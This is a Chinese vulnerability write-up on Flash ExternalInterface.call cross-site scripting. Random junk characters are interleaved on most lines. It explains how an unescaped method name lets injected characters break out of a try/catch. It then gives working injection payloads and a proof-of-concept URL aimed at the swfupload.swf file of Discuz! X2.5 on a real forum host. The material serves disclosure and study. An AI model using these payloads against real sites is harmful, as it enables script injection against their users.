上回我们说
. Q6 K2 B( {" p8 l
# E+ y6 d$ V6 \5 f% T! @- kflash.external.ExternalInterface.call($methodName, $parameter) p" ~+ v# s6 h
在浏览器中执行的是
: N4 ~ O/ j9 n% ~; T
+ W1 Q+ S. R. h( x+ f% ktry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
' B* k: ?4 q& ^8 i. [- Z' |" u对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
6 W" c* v. l6 e6 j# q& p" n0 ]1 I9 |2 v: a
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
$ q& D j% }5 R$methodName = a())}catch(e){alert(/xss/)}//& q7 c3 `2 q" `- E8 h
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
: _! j$ M0 S9 j8 ^, W8 w: H7 l
" h7 `# a. K1 }& Ztry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
0 p9 s: _- U' u' n# n9 G5 ]
4 W: f- f: j1 X' {4 w这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS ) q4 Z5 c# b- R
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。( I5 `% F3 d9 A. w& z6 q7 y
. i2 T6 k ]+ N2 L A1 O0 K
# O4 t- L9 k/ O: K" Q8 f4 L! E4 S* K( g1 k7 w; \
漏洞文件:upload\static\image\common\swfupload.swf
- u/ G& @5 h0 v& I5 B- `$ C; D% `
$ o# }5 U) r" F: b0 ?# q4 M原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf" [! [" t% Y2 V" H& Z
: e) `* U. Z6 C, O
d2 h. v8 s9 M( y% a5 Y( F
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//1 c& {$ V9 L1 W/ I
4 d9 A! ?1 r, A
2 K" K& }8 I2 e, d; R- U |